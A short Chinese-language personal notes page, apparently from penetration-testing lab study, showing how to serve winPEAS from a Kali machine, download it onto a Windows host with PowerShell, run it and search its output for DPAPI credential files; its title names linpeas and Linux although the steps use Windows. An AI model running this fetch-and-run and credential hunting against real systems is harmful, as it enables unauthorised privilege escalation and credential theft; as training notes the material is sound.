

# 【linux】 【提權】 【弱掃】 linpeas

```
# install
sudo apt-get update
sudo apt-get -y install peass
```

# 複製到本地

```
kali@kali:~$ cp /usr/share/peass/winpeas/winPEASx64.exe .
```

# 啟用python server提供下載

```
kali@kali:~$ python3 -m http.server 80
```

```
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

# windows 執行 powershell

```
C:\Users\dave>powershell
```

...省略

# 下載 winPEAS.exe

```
PS C:\Users\dave> iwr -uri http://192.168.45.175/winPEASx64.exe -Outfile winPEAS.exe
```

# 執行 winPEAS 掃描

```
PS C:\Users\dave> .\winPEAS.exe > answer.txt
```

```
.\winPEAS.exe > answer.txt
```

```
[!] Windows version not supported, build number: '22000'
```

# 找尋密碼(Checking for DPAPI Credential Files 後的10行)

```
PS C:\Users\dave> Select-String -Path .\answer.txt -Pattern 'Checking for DPAPI Credential Files' -Context 1, 10
```

```
answer.txt:1920:
```

```
> answer.txt:1921: [!] Checking for DPAPI Credential Files
```

```
answer.txt:1922: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
```

```
answer.txt:1923: CredFile: C:\Users\dave\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
```

```
answer.txt:1924: Description: Local Credential Data
```

```
answer.txt:1925:
```

```
answer.txt:1926: MasterKey: 7ba528f7-4e73-48a3-8a67-e5680688c9ff
```

```
answer.txt:1927: Accessed: 11/28/2023 7:45:54 AM
```

```
answer.txt:1928: Modified: 2/13/2023 2:46:41 AM
```

```
answer.txt:1929: Size: 11136
```

```
answer.txt:1930:
```

```
=====
answer.txt:1931:
```

🕒修訂版本 #2

★由 treeman 建立於 3 🕒Q🕒G🕒🕒 2023 11:05:44

🔧由 treeman 更新於 26 🕒G🕒🕒 2024 01:15:04